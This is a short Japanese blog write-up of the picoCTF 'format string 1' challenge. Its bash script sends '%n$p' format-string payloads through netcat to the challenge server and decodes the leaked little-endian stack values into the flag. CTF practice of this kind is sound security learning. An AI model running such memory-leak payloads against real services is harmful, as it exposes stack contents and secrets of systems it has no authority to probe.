🐈

PicoCTF format string 1 Writeup

2024/08/14に公開

PicoCTF format stringは既に多数の人がWriteupを書いているので参考にならないかもしれませんが備忘録的に書きます。

ncでサーバーに接続すると一度のみ入力可能なコンソールに接続する。

タイトルの通り、format string攻撃が有効なので、
%n$pを数字を変えながら何度か入力して送信繰り返すと
16進数の中にリトルエンディアンっぽいASCII文字列が出現する。
そこでASCII文字への変換を行いflagの入手を目指す。

手動で変換を繰り返しても解けそうだが、手間なのでスクリプトを作成する。

#!/bin/bash

# サーバーのアドレスとポート
SERVER="(picoCTFで与えられたドメイン)"
PORT="(picoCTFで与えられたポート)"

# 16進数をリトルエンディアンでASCIIに変換する関数
convert_hex_to_ascii() {
    local hex=$1
    local ascii=""
    
    # "0x" を削除
    hex=${hex#0x}
    
    # リトルエンディアンで処理(2バイトずつ逆順に)
    for (( i=${#hex}-2; i>=0; i-=2 )); do
        byte="${hex:$i:2}"
        ascii+=$(printf "\\x$byte")
    done
    
    echo -n "$ascii"
}

# 各文字列を送信し、応答を処理する関数
send_string() {
    local string="$1"
    echo "送信する文字列: $string"
    
    # 文字列をサーバーに送信し、応答を受け取る
    response=$(echo -n "$string" | nc $SERVER $PORT)
    
    echo "サーバーからの応答: $response"
    
    # 文字を抽出
    if [[ $response =~ (0x[0-9A-Fa-f]{16}) ]]; then
        extracted="${BASH_REMATCH[1]}"
        echo "抽出された16進数: $extracted"
        
        converted=$(convert_hex_to_ascii "$extracted")
        echo "変換後のASCII: $converted"
        echo "変換後のASCII (hex): $(echo -n "$converted" | xxd -p)"
    fi
    
    echo "-------------------"
    
    # 待機時間
    sleep 1
}

# メインループ
for i in {1..20}; do
    string="%$i\$p"
    send_string "$string"
done

echo "全ての文字列の送信が完了しました。"


上記のスクリプトを動かした結果が上記である。
だいたい復号できたが、flagの最後の16進数のみ変換に失敗していたのでそこだけ手動で変換してflag入手。

Discussion